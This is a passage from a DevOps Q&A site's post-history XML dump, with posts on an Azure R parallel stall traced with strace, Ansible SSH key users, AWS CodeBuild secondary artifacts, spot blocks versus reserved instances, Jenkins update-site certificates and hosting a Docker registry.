FUTEX_WAIT_PRIVATE, 0, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8709] 21:41:48.772260 futex(0x88b9a04, FUTEX_WAIT_PRIVATE, 0, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8602] 21:41:48.993871 &lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)&#xD;&#xA;[pid  8602] 21:41:48.993914 clock_gettime(CLOCK_REALTIME, {1558734108, 993928682}) = 0&#xD;&#xA;[pid  8602] 21:41:48.993978 futex(0x10e40a8, FUTEX_WAKE_PRIVATE, 1) = 0&#xD;&#xA;[pid  8602] 21:41:48.994032 clock_gettime(CLOCK_REALTIME, {1558734108, 994048584}) = 0&#xD;&#xA;[pid  8602] 21:41:48.994096 futex(0x10e40dc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 25, {1558734109, 994048584}, ffffffff &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:49.753515 &lt;... select resumed&gt; ) = 0 (Timeout)&#xD;&#xA;[pid  8571] 21:41:49.753623 wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0&#xD;&#xA;[pid  8571] 21:41:49.753688 select(12, [4 11], NULL, NULL, {1, 0} &lt;unfinished ...&gt;&#xD;&#xA;[pid  8602] 21:41:49.994210 &lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)&#xD;&#xA;[pid  8602] 21:41:49.994299 clock_gettime(CLOCK_REALTIME, {1558734109, 994341104}) = 0&#xD;&#xA;[pid  8602] 21:41:49.994442 futex(0x10e40a8, FUTEX_WAKE_PRIVATE, 1) = 0&#xD;&#xA;[pid  8602] 21:41:49.994590 clock_gettime(CLOCK_REALTIME, {1558734109, 994614207}) = 0&#xD;&#xA;[pid  8602] 21:41:49.994663 futex(0x10e40dc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 27, {1558734110, 994614207}, ffffffff &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:50.754833 &lt;... select resumed&gt; ) = 0 (Timeout)&#xD;&#xA;[pid  8571] 21:41:50.754971 wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0&#xD;&#xA;[pid  8571] 21:41:50.755117 select(12, [4 11], NULL, NULL, {1, 0} &lt;unfinished ...&gt;&#xD;&#xA;[pid  8602] 21:41:50.994707 &lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)&#xD;&#xA;[pid  8602] 21:41:50.994748 clock_gettime(CLOCK_REALTIME, {1558734110, 994763726}) = 0&#xD;&#xA;[pid  8602] 21:41:50.994816 futex(0x10e40a8, FUTEX_WAKE_PRIVATE, 1) = 0&#xD;&#xA;[pid  8602] 21:41:50.994879 clock_gettime(CLOCK_REALTIME, {1558734110, 994894827}) = 0&#xD;&#xA;[pid  8602] 21:41:50.994944 futex(0x10e40dc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 29, {1558734111, 994894827}, ffffffff &lt;unfinished ...&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The rest of the log is a repetition of the last few lines.&#xD;&#xA;&#xD;&#xA;I think that the parent process is 8571, the first spawned process is 8708, which prints `Drawing 1`, and the second spawned process is 8709, which prints `Drawing 2`. Then the parent process lists a `wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0`, process 8602 lists a `&lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)`. I have never used `strace` and could not go beyond that.&#xD;&#xA;&#xD;&#xA;I have pushed the code to [this Github branch](https://github.com/alan-turing-institute/PosteriorBootstrap/tree/62-fix-azure) if you want to reproduce the problem. Pull the code from the branch, and run `azure-parallel/deploy_azure.sh` on a terminal (if you have the [Azure Command-Line-Interface](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-macos?view=azure-cli-latest) and are logged in), or change the code a bit to use the IP address of a existing virtual machine.&#xD;&#xA;&#xD;&#xA;Has anyone succeeded in running parallel on Azure recently? If so, what were the virtual machine and image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23950" PostHistoryTypeId="4" PostId="8064" RevisionGUID="aff78d67-bb37-4e78-a125-1017a9bb0fcd" CreationDate="2019-05-24T22:20:02.393" UserId="14747" Comment="Narrowed the problem to the parallel package and added strace" Text="Azure virtual machine stalls in R due to parallel package" ContentLicense="CC BY-SA 4.0" />
  <row Id="23959" PostHistoryTypeId="5" PostId="8221" RevisionGUID="8e9c3655-f403-4142-8de3-94ec82fcb78c" CreationDate="2019-05-25T09:28:34.323" UserId="15116" Comment="added additional info" Text="i am trying to figure out how to run an ansible ping command as another user, using their ssh key.&#xD;&#xA;&#xD;&#xA;User setup i have essentially:&#xD;&#xA;&#xD;&#xA; - master_user (me)&#xD;&#xA;   &#xD;&#xA; - ansible (sudo user, pwdless sign in)&#xD;&#xA;&#xD;&#xA;I logged in as ansible user and did:&#xD;&#xA;&#xD;&#xA;  - ssh-keygen (generate key)&#xD;&#xA;  - ssh-copy-id XXXX (copy the ssh key to corresponding server)&#xD;&#xA;&#xD;&#xA;Tested it all and it works fine (each server has ansible user already fyi).&#xD;&#xA;I updated the hosts file to have all my hosts as well.&#xD;&#xA;&#xD;&#xA;Now when i remote into master_user, i want to run a ansible command but as ansible user something like this:&#xD;&#xA;&#xD;&#xA;    ansible all --become-user=ansible -m ping&#xD;&#xA;&#xD;&#xA;This fails because it is trying to ssh into the servers using the master_users ssh key.&#xD;&#xA;&#xD;&#xA;Error message: `Failed to connect to the host via ssh`&#xD;&#xA;&#xD;&#xA;When i run -vvvv flag i can see it trying to user master_user ssh by looks of it&#xD;&#xA;&#xD;&#xA;    Offending key for IP in /home/master_user/.ssh/&#xD;&#xA;&#xD;&#xA;How can configure it so that it uses ansible user always and use ansible users ssh key?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23960" PostHistoryTypeId="2" PostId="8229" RevisionGUID="39c4b958-1328-45d0-b2fb-396da7b7467d" CreationDate="2019-05-25T13:43:58.593" UserId="13111" Text="`become_user` will tell which user to become to run a particular ansible module **on the remote server**.&#xD;&#xA;&#xD;&#xA;If you want to run the `ansible` command on your control machine as an other user, you need to use `sudo` or `su` on this machine e.g.&#xD;&#xA;&#xD;&#xA;`sudo -u ansible ansible all -m ping`&#xD;&#xA;&#xD;&#xA;An other possible solution would be to use the ssh key you created for the ansible user from your account&#xD;&#xA;&#xD;&#xA;`ansible all --private-key=/home/ansible/.ssh/id_rsa -m ping`" ContentLicense="CC BY-SA 4.0" />
  <row Id="23962" PostHistoryTypeId="2" PostId="8230" RevisionGUID="ec49ff9f-04a3-4091-b566-fbc9abc994d6" CreationDate="2019-05-25T17:30:51.743" UserId="15134" Text="Pulling the images only make them available for you to use locally. Therefore, to use them within a container you should run the command `docker run` with the appropriate configuration for each services" ContentLicense="CC BY-SA 4.0" />
  <row Id="23963" PostHistoryTypeId="2" PostId="8231" RevisionGUID="5892745c-ff5c-464d-918f-ed5c35da91ea" CreationDate="2019-05-26T01:20:04.113" UserId="739" Text="Jenkins has been around for longer so it has a larger installed base.  It doesn't matter if AWS has something that is cheaper and better.  Many places don't want to put the time and energy into upgrading Jenkins.  Migrating to a new CI pipeline is even &quot;scarier&quot; -- regardless of whether it would be a wise strategic decision.&#xD;&#xA;&#xD;&#xA;Jenkins 1.x made this far worse because of needing extensions for basic functionality.  Different departments wanting different plugins that wouldn't play well together led to multiple Jenkins instances.  Even if the technical challenge of merging these were relatively minor, the chance of getting departments that could never agree on anything before to suddenly decide that they can migrate to some new thing -- that is missing some feature from a plugin they can't live without -- seems pretty slim." ContentLicense="CC BY-SA 4.0" />
  <row Id="23964" PostHistoryTypeId="5" PostId="8227" RevisionGUID="5f7ba360-abdf-46d4-82c1-9a8ba2a1ce70" CreationDate="2019-05-26T01:27:49.873" UserId="15130" Comment="added 139 characters in body" Text="The thing that makes this complicated is that ansible registers variables and facts locally, on the target remote host - and then has a different set of variables and facts once it moves to the next host. So it would require a bit of fiddling to do this exactly the way you want.&#xD;&#xA;&#xD;&#xA;One way to approach this would be to just use run_once, but it doesn't work with `serial: 1` which you are asking for (check one host at a time);&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;  - name: test&#xD;&#xA;    hosts: all&#xD;&#xA;    vars:&#xD;&#xA;      mem_to_look_for: 62950&#xD;&#xA;    tasks:&#xD;&#xA;      - name: do things&#xD;&#xA;        debug:&#xD;&#xA;          msg: &quot;hello&quot;&#xD;&#xA;        run_once: true&#xD;&#xA;        when: ansible_memory_mb.real.total==mem_to_look_for&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If you really want it to run serially, we could borrow some of the knowledge out of this article https://stackoverflow.com/questions/42376123/how-to-terminate-an-ansible-playbook-run-when-it-is-successful-on-one-host and tweak it a little.. and it works great!&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;  - name: &quot;test&quot;&#xD;&#xA;    hosts: all&#xD;&#xA;    gather_facts: no&#xD;&#xA;    serial: 1&#xD;&#xA;    vars:&#xD;&#xA;      mem_to_look_for: 62950&#xD;&#xA;    tasks:&#xD;&#xA;      - meta: end_play&#xD;&#xA;        when: &quot;{% for item in hostvars.values() %}{% if item.done|default(False) %}True{% endif %}{% endfor %}&quot;&#xD;&#xA;&#xD;&#xA;      - name: gather facts&#xD;&#xA;        setup:&#xD;&#xA;&#xD;&#xA;      - name: ensure host has the memory we're looking for&#xD;&#xA;        set_fact:&#xD;&#xA;          done: true&#xD;&#xA;        when: ansible_memory_mb.real.total==mem_to_look_for&#xD;&#xA;&#xD;&#xA;      - name: skip this host if it doesn't have the memory we're looking for&#xD;&#xA;        meta: end_play&#xD;&#xA;        when: ansible_memory_mb.real.total!=mem_to_look_for&#xD;&#xA;&#xD;&#xA;      - name: run this thing only on one host&#xD;&#xA;        debug:&#xD;&#xA;          msg: &quot;running the thing&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I set the playbook to gather_facts: no because we don't want to continue gathering facts once we found the host we're looking for. It doesn't abort the playbook unfortunately, but just kind of runs a no-op on the remainder of hosts. You could also probably speed things up by tweaking the `setup:` module by specifying which subset of facts you want to collect, but I left it to collect all the facts in this example. https://docs.ansible.com/ansible/latest/modules/setup_module.html you may also want to just move the host selection to the setup module by adding `failed_when: ansible_memory_mb.real.total!=mem_to_look_for` at the end of the setup module, but then the hosts would be marked as failed. I'm not sure if that's what you're looking for, but it's really up to you on if you want them to be failed or just skipped. &#xD;&#xA;&#xD;&#xA;Additionally, if you want it to completely stop checking hosts as soon as its done I think the any_errors_fatal property will do that. https://docs.ansible.com/ansible/latest/user_guide/playbooks_error_handling.html#aborting-the-play" ContentLicense="CC BY-SA 4.0" />
  <row Id="23965" PostHistoryTypeId="5" PostId="8224" RevisionGUID="7008bb18-6015-4fab-acca-818e75fa739b" CreationDate="2019-05-26T05:17:48.750" UserId="11315" Comment="added 613 characters in body" Text="I have created a codePipeline project through which my application get build using maven and it's artifacts are uploaded to s3. I'm trying to upload multiple artifacts as a single zip file to s3 bucket through codebuild. Below is my sample buildspec.yml file&#xD;&#xA;&#xD;&#xA;    version: 0.2 &#xD;&#xA;     &#xD;&#xA;    phases: &#xD;&#xA;      install: &#xD;&#xA;        runtime-versions: &#xD;&#xA;          java: openjdk8 &#xD;&#xA;        commands: &#xD;&#xA;          - apt update -y &amp;&amp; apt install maven -y &#xD;&#xA;          - echo Install phase started on `date` &#xD;&#xA;          - echo Install phase ended on `date` &#xD;&#xA;      pre_build: &#xD;&#xA;        commands: &#xD;&#xA;          - echo Pre_build phase started on `date` &#xD;&#xA;          - bash pipelines/aws/scripts/onCheckout.sh &#xD;&#xA;          - echo Pre_build phase ended on `date` &#xD;&#xA;      build: &#xD;&#xA;        commands: &#xD;&#xA;          - echo Build phase started on `date` &#xD;&#xA;          - bash pipelines/aws/scripts/onBuild.sh &#xD;&#xA;          - echo Build phase ended on `date` &#xD;&#xA;      post_build: &#xD;&#xA;        commands: &#xD;&#xA;          - echo Post_build phase started on `date` &#xD;&#xA;          - bash pipelines/aws/scripts/onPackage.sh &#xD;&#xA;          - bash pipelines/aws/scripts/onPublish.sh &#xD;&#xA;          - bash pipelines/aws/scripts/onPromote.sh &#xD;&#xA;          - echo Post_build phase ended on `date` &#xD;&#xA;          - echo $CODEBUILD_SRC_DIR &#xD;&#xA;    artifacts: &#xD;&#xA;      files: &#xD;&#xA;        - pipelines/**/* &#xD;&#xA;        - target/spring-petclinic-2.0.0.jar &#xD;&#xA;    #  name: SpaasRhl-Mirror &#xD;&#xA;      base-directory: $CODEBUILD_SRC_DIR &#xD;&#xA;    secondary-artifacts: &#xD;&#xA;      artifact1: &#xD;&#xA;        files: &#xD;&#xA;          - pipelines/aws/appspec.yml &#xD;&#xA;        base-directory: $CODEBUILD_SRC_DIR   &#xD;&#xA;        discard-paths: yes &#xD;&#xA;&#xD;&#xA;codebuild-output:&#xD;&#xA;&#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Phase complete: POST_BUILD State: SUCCEEDED &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Phase context status code: Message: &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding base directory path: $CODEBUILD_SRC_DIR &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Assembling file list &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding /codebuild/output/src289881682/src &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding artifact file paths for base directory /codebuild/output/src289881682/src &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Assembling file list &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding pipelines/**/* &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding target/spring-app-2.0.0.jar &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Found 52 file(s) &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:28 Phase complete: UPLOAD_ARTIFACTS State: SUCCEEDED &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:28 Phase context status code: Message: &#xD;&#xA;&#xD;&#xA;Artifacts mentioned in secondary-artifacts are completely ignored due to unknown reasons, Am I missing any parameters?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23966" PostHistoryTypeId="5" PostId="8224" RevisionGUID="c29911ae-87ad-43b5-a4d4-bb8631952954" CreationDate="2019-05-26T06:04:27.590" UserId="11315" Comment="deleted 31 characters in body" Text="I have created a codePipeline project through which my application get build using maven and it's artifacts are uploaded to s3. I'm trying to upload multiple artifacts as a single zip file to s3 bucket through codebuild. Below is my sample buildspec.yml file&#xD;&#xA;&#xD;&#xA;    version: 0.2 &#xD;&#xA;     &#xD;&#xA;    phases: &#xD;&#xA;      install: &#xD;&#xA;        runtime-versions: &#xD;&#xA;          java: openjdk8 &#xD;&#xA;        commands: &#xD;&#xA;          - apt update -y &amp;&amp; apt install maven -y &#xD;&#xA;          - echo Install phase started on `date` &#xD;&#xA;          - echo Install phase ended on `date` &#xD;&#xA;      pre_build: &#xD;&#xA;        commands: &#xD;&#xA;          - echo Pre_build phase started on `date` &#xD;&#xA;          - bash pipelines/aws/scripts/onCheckout.sh &#xD;&#xA;          - echo Pre_build phase ended on `date` &#xD;&#xA;      build: &#xD;&#xA;        commands: &#xD;&#xA;          - echo Build phase started on `date` &#xD;&#xA;          - bash pipelines/aws/scripts/onBuild.sh &#xD;&#xA;          - echo Build phase ended on `date` &#xD;&#xA;      post_build: &#xD;&#xA;        commands: &#xD;&#xA;          - echo Post_build phase started on `date` &#xD;&#xA;          - bash pipelines/aws/scripts/onPackage.sh &#xD;&#xA;          - bash pipelines/aws/scripts/onPublish.sh &#xD;&#xA;          - bash pipelines/aws/scripts/onPromote.sh &#xD;&#xA;          - echo Post_build phase ended on `date` &#xD;&#xA;          - echo $CODEBUILD_SRC_DIR &#xD;&#xA;    artifacts: &#xD;&#xA;      files: &#xD;&#xA;        - pipelines/**/* &#xD;&#xA;        - target/spring-petclinic-2.0.0.jar &#xD;&#xA;      base-directory: $CODEBUILD_SRC_DIR &#xD;&#xA;    secondary-artifacts: &#xD;&#xA;      artifact1: &#xD;&#xA;        files: &#xD;&#xA;          - pipelines/aws/appspec.yml &#xD;&#xA;        base-directory: $CODEBUILD_SRC_DIR   &#xD;&#xA;        discard-paths: yes &#xD;&#xA;&#xD;&#xA;codebuild-output:&#xD;&#xA;&#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Phase complete: POST_BUILD State: SUCCEEDED &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Phase context status code: Message: &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding base directory path: $CODEBUILD_SRC_DIR &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Assembling file list &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding /codebuild/output/src289881682/src &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding artifact file paths for base directory /codebuild/output/src289881682/src &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Assembling file list &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding pipelines/**/* &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Expanding target/spring-app-2.0.0.jar &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:27 Found 52 file(s) &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:28 Phase complete: UPLOAD_ARTIFACTS State: SUCCEEDED &#xD;&#xA;    https://forums.aws.amazon.com/ 2019/05/24 12:00:28 Phase context status code: Message: &#xD;&#xA;&#xD;&#xA;Artifacts mentioned in secondary-artifacts are completely ignored due to unknown reasons, Am I missing any parameters?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23967" PostHistoryTypeId="50" PostId="4161" RevisionGUID="9a9f32c9-118f-4b0f-b2f8-80f04801d92f" CreationDate="2019-05-26T09:01:11.013" UserId="-1" />
  <row Id="23968" PostHistoryTypeId="2" PostId="8232" RevisionGUID="97482a78-8acf-47cf-832d-415eff90bb24" CreationDate="2019-05-26T13:17:21.657" UserId="8822" Text="Let's say we have a continuous process where each two hours we receive some data which has to be analysed by a fleet of workers on AWS EC2 instances which always complete their job within two hours (let's say normally within 90 minutes).&#xD;&#xA;&#xD;&#xA;What would be the most cost-effective solution in this case?&#xD;&#xA;&#xD;&#xA;1. Use Spot blocks with finite duration of 2 hours?&#xD;&#xA;&#xD;&#xA;2. Use fleet of reserved EC2 instances?&#xD;&#xA;&#xD;&#xA;Though spot blocks seem to be less expensive, I am concerned about their availability as data has to be processed immediately after receiving within the next 2 hours." ContentLicense="CC BY-SA 4.0" />
  <row Id="23969" PostHistoryTypeId="1" PostId="8232" RevisionGUID="97482a78-8acf-47cf-832d-415eff90bb24" CreationDate="2019-05-26T13:17:21.657" UserId="8822" Text="Spot block vs reserved instances" ContentLicense="CC BY-SA 4.0" />
  <row Id="23970" PostHistoryTypeId="3" PostId="8232" RevisionGUID="97482a78-8acf-47cf-832d-415eff90bb24" CreationDate="2019-05-26T13:17:21.657" UserId="8822" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23971" PostHistoryTypeId="5" PostId="8229" RevisionGUID="73f18ca0-0a0c-4b2a-b23f-f9191547553c" CreationDate="2019-05-26T15:22:26.240" UserId="13111" Comment="Edit solution according to returns in comments." Text="`become_user` will tell which user to become to run a particular ansible module **on the remote server**.&#xD;&#xA;&#xD;&#xA;If you want to run the `ansible` command on your control machine as an other user, you need to use `sudo` or `su` on this machine e.g.&#xD;&#xA;&#xD;&#xA;`sudo -s -u ansible ansible all -m ping`&#xD;&#xA;&#xD;&#xA;The `-s` option will load the user's shell an make sure homedir and all other envs are correctly set prior to running the command.&#xD;&#xA;&#xD;&#xA;An other possible solution would be to use the ssh key you created for the ansible user from your account&#xD;&#xA;&#xD;&#xA;`ansible all --private-key=/home/ansible/.ssh/id_rsa -m ping`&#xD;&#xA;&#xD;&#xA;This will potentially work only if your current user as read access to the given key." ContentLicense="CC BY-SA 4.0" />
  <row Id="23972" PostHistoryTypeId="2" PostId="8233" RevisionGUID="27a1493e-aa63-482f-97ee-4044d9e6796a" CreationDate="2019-05-26T16:11:11.933" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="23973" PostHistoryTypeId="1" PostId="8233" RevisionGUID="27a1493e-aa63-482f-97ee-4044d9e6796a" CreationDate="2019-05-26T16:11:11.933" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23974" PostHistoryTypeId="2" PostId="8234" RevisionGUID="478250a0-55fd-4a3f-ba23-5a06894a8525" CreationDate="2019-05-26T16:11:11.933" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="23975" PostHistoryTypeId="1" PostId="8234" RevisionGUID="478250a0-55fd-4a3f-ba23-5a06894a8525" CreationDate="2019-05-26T16:11:11.933" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23976" PostHistoryTypeId="2" PostId="8235" RevisionGUID="c278a14c-fb99-4a5f-adbf-e2bf34295c34" CreationDate="2019-05-26T17:35:21.813" UserId="405" Text="Anything that &quot;needs&quot; to happen in a given time frame is not a candidate for spot instances, including spot blocks.&#xD;&#xA;&#xD;&#xA;Spot capacity is, by definition, surplus/idle capacity, subject to availability, so your spot block may simply fail to start, as capacity may not be available.  It is less expensive for exactly that reason -- AWS is selling surplus capacity for which no one is currently willing to pay more.&#xD;&#xA;&#xD;&#xA;Information about the pool of compute capacity that is currently flagged internally as eligible for participation in the spot market is not publicly accessible, and although it was possible to make some reasonable assumptions in the past about capacity based on signals you could obtain from the real-time pricing, the spot pricing algorithm was modified in 2017 in a way that largely masks those signals (and the change, in my opinion, was a good thing for any customer who was not aggressively gaming the system).&#xD;&#xA;&#xD;&#xA;Spot blocks are intended to run for a committed period of time, so they are less likely to be interrupted than other spot instances, but they can initially start up successfully and then subsequently be interrupted at any time.&#xD;&#xA;&#xD;&#xA;&gt;In rare situations, Spot blocks may be interrupted due to Amazon EC2 capacity needs. In these cases, we provide a two-minute warning before we terminate an instance, and you are not charged for the terminated instances even if you used them.&#xD;&#xA;&#xD;&#xA;&gt;https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-requests.html#fixed-duration-spot-instances" ContentLicense="CC BY-SA 4.0" />
  <row Id="23977" PostHistoryTypeId="5" PostId="8233" RevisionGUID="fab59903-06e8-4dfb-904c-86538b6d8b8f" CreationDate="2019-05-26T18:42:34.620" UserId="1132" Comment="added 475 characters in body" Text="Java is high-level, platform-independent and object-oriented programming language developed and maintained initally by the Sun (today Oracle).&#xD;&#xA;&#xD;&#xA;It is designed to have as few platform dependencies as possible, to follow the &quot;write once, run everywhere&quot; concept.&#xD;&#xA;&#xD;&#xA;Java applications are typically compiled into platform-independent *class files*, which are interpreted by the Java Virtual Machine.&#xD;&#xA;&#xD;&#xA;Some common CI/DevOps software written in Java:&#xD;&#xA;&#xD;&#xA;* SonarQube&#xD;&#xA;* Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="23978" PostHistoryTypeId="24" PostId="8233" RevisionGUID="fab59903-06e8-4dfb-904c-86538b6d8b8f" CreationDate="2019-05-26T18:42:34.620" Comment="Proposed by 1132 approved by 707, 40 edit id of 1008" ContentLicense="CC BY-SA 4.0" />
  <row Id="23979" PostHistoryTypeId="2" PostId="8236" RevisionGUID="f95298c1-e7fe-484f-9e8c-6ae71b2ddd9f" CreationDate="2019-05-26T21:27:46.947" UserId="11069" Text="A few questions so I can better understand your use case:&#xD;&#xA;&#xD;&#xA; - How often would this deployment/build of yours be run?&#xD;&#xA; - Will there ever be any changes going into **Master** that do not come from **develop**?&#xD;&#xA;&#xD;&#xA;If you plan to run this deploy/build which would create a PR to merge to **Master** for each change in **develop**, then I would recommend to delete the **develop** branch and instead develop directly against **Master**. Configure **Master** with [Branch Policies](https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops#build-validation) enabled that would run a gated build (compile/unit test) before the PR can be merged. This is what my team has been doing for a while now with great success. This change in workflow would prevent the need for having a deploy/build which automatically creates a PR.&#xD;&#xA;&#xD;&#xA;If you plan to run this deploy/build less frequently than every change, then I would recommend to use the VSTS APIs and a custom scripting task to automatically create a PR. I believe the scripting task would be fairly similar regardless of whether a deploy runs it or the build runs it. The documentation for VSTS APIs is fairly comprehensive, and I use several of them as part of our pipeline workflows (I use PowerShell). Here is documentation to [Create a Pull Request](https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20requests/create?view=azure-devops-rest-5.0). This would be run as the last task in the deploy/build.&#xD;&#xA;&#xD;&#xA;If you plan to merge to **Master** from areas other than the **develop** branch, I just want to call out that the PR which will be automatically created by deploy/build could have conflicts and require manual intervention.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23980" PostHistoryTypeId="2" PostId="8237" RevisionGUID="7a67a4d1-c07d-4423-9877-d2f778ed3ca5" CreationDate="2019-05-26T21:59:02.167" UserId="11069" Text="I noticed that the [description](https://github.com/microsoft/azure-pipelines-tasks/blob/master/Tasks/DotNetCoreCLIV2/README.md) for the filepath properties of the **pack** command is different than the descriptions in the **test** and **publish** commands:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Pattern to search for csproj or nuspec files to pack.&#xD;&#xA;&#xD;&#xA;You can separate multiple patterns with a semicolon, and you can&#xD;&#xA;make a pattern negative by prefixing it with '-:'. Example:&#xD;&#xA;**/*.csproj;-:**/*.Tests.csproj&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So perhaps try `-:**/*[Tt]ests.csproj;**/*.csproj` instead. I don't think this explains why the unit tests are excluded and he integrated tests are not, though." ContentLicense="CC BY-SA 4.0" />
  <row Id="23982" PostHistoryTypeId="2" PostId="8238" RevisionGUID="2b679ee5-7b8a-4c94-9d10-e6a410ddafc1" CreationDate="2019-05-27T07:39:53.597" UserId="4852" Text="Is there a way that I can tell Jenkins to ignore certificates for the update site. &#xD;&#xA;&#xD;&#xA;**Background**&#xD;&#xA;&#xD;&#xA;I have an air-gapped Jenkins installation and there is currently [proper way to make a proxy repo](https://stackoverflow.com/questions/54548140/jenkins-plugin-repo-as-proxy-repo-when-behind-a-firewall/56321607#56321607). Thus I have the following setup:&#xD;&#xA;- I have modified the `hosts` file on the Jenkins host so that `updates.jenkins-ci.org` points to the host of the internal artifact repo&#xD;&#xA;- There is a reverse-proxy in front of artifact repo which handles traffic for `updates.jenkins-ci.org`&#xD;&#xA;&#xD;&#xA;However we are only allowed to use https thus there will be a `name mismatch error` as the certificate does not match the hostname of the artifact repo host&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23983" PostHistoryTypeId="1" PostId="8238" RevisionGUID="2b679ee5-7b8a-4c94-9d10-e6a410ddafc1" CreationDate="2019-05-27T07:39:53.597" UserId="4852" Text="Jenkins plugin site to ignore certificates" ContentLicense="CC BY-SA 4.0" />
  <row Id="23984" PostHistoryTypeId="3" PostId="8238" RevisionGUID="2b679ee5-7b8a-4c94-9d10-e6a410ddafc1" CreationDate="2019-05-27T07:39:53.597" UserId="4852" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23985" PostHistoryTypeId="2" PostId="8239" RevisionGUID="ec37c3dd-ddf9-4d38-bd63-1992662dcf3e" CreationDate="2019-05-27T09:39:39.650" UserId="15152" Text="I want to host my own docker-registry server to be independent from docker-hub.  &#xD;&#xA;I want to run it native on my server, but I can only find documentations, which are using running it inside a container.&#xD;&#xA;&#xD;&#xA;My question:  &#xD;&#xA;Is it possible to install docker registry over a package or do i have to run it in a container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23986" PostHistoryTypeId="1" PostId="8239" RevisionGUID="ec37c3dd-ddf9-4d38-bd63-1992662dcf3e" CreationDate="2019-05-27T09:39:39.650" UserId="15152" Text="Host a docker registry native" ContentLicense="CC BY-SA 4.0" />
  <row Id="23987" PostHistoryTypeId="3" PostId="8239" RevisionGUID="ec37c3dd-ddf9-4d38-bd63-1992662dcf3e" CreationDate="2019-05-27T09:39:39.650" UserId="15152" Text="&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23988" PostHistoryTypeId="6" PostId="8239" RevisionGUID="191ff83f-3358-4d0b-938a-0dab2b420302" CreationDate="2019-05-27T10:00:56.067" UserId="15152" Comment="edited tags" Text="&lt;docker&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
